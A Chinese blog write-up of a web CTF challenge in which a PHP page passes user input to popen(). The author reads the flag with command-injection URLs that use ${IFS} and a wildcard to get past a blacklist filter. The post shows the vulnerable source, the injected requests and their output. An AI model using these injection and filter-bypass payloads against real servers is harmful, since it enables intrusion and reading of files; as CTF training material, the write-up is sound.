A-A+

某WEB CTF题一道 php文件读取类

2021年09月13日 16:33 漏洞安全 暂无评论 共717字 (阅读2,818 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

今天下午朋友找到我,整体看下来题比较简单。

访问http://21x.xxx.xx.xx3:31237/ 然后直接展示了源码

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
#Try to read /flag
if(!isset($_GET['command'])&!isset($_GET['parameter'])) {
    show_source(__FILE__);
    die();
}
 
$command = $_GET['command'];
$parameter = $_GET['parameter'];
 
function filter($data) {
    $black_list = array('"', "'", " ","flag", "\n");
    foreach ($black_list as $key) {
        $data = str_replace($key, '', $data);
    }
    return $data;
}
 
$command = filter($command);
popen("$command",$parameter);
?>

这就一目了然了,有两个传参,command,parameter,,php的popen直接可以https://www.php.net/popen查看,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

然后这里尝试

http://21x.xxx.xx.xx3:31237/index.php?command=/bin/ls%3E2.txt&parameter=r

然后访问:http://21x.xxx.xx.xx3:31237/2.txt
得到如下结果:

index.php

这就说明可以了,下一步查看根目录。其中针对过滤空格的问题参考了:https://blog.csdn.net/weixin_43921596/article/details/86638919
http://21x.xxx.xx.xx3:31237/index.php?command=/bin/ls${IFS}/%3E99.txt&parameter=r
得到如下结果:

anaconda-post.log
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var

那就是下一步,绕过过滤,直接获取flag拉。比较简单
http://21x.xxx.xx.xx3:31237/index.php?command=/bin/cat${IFS}/f*%3E99.txt&parameter=r

结果

flag{1AFxxxxxxxxxxxxxx2BF}

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言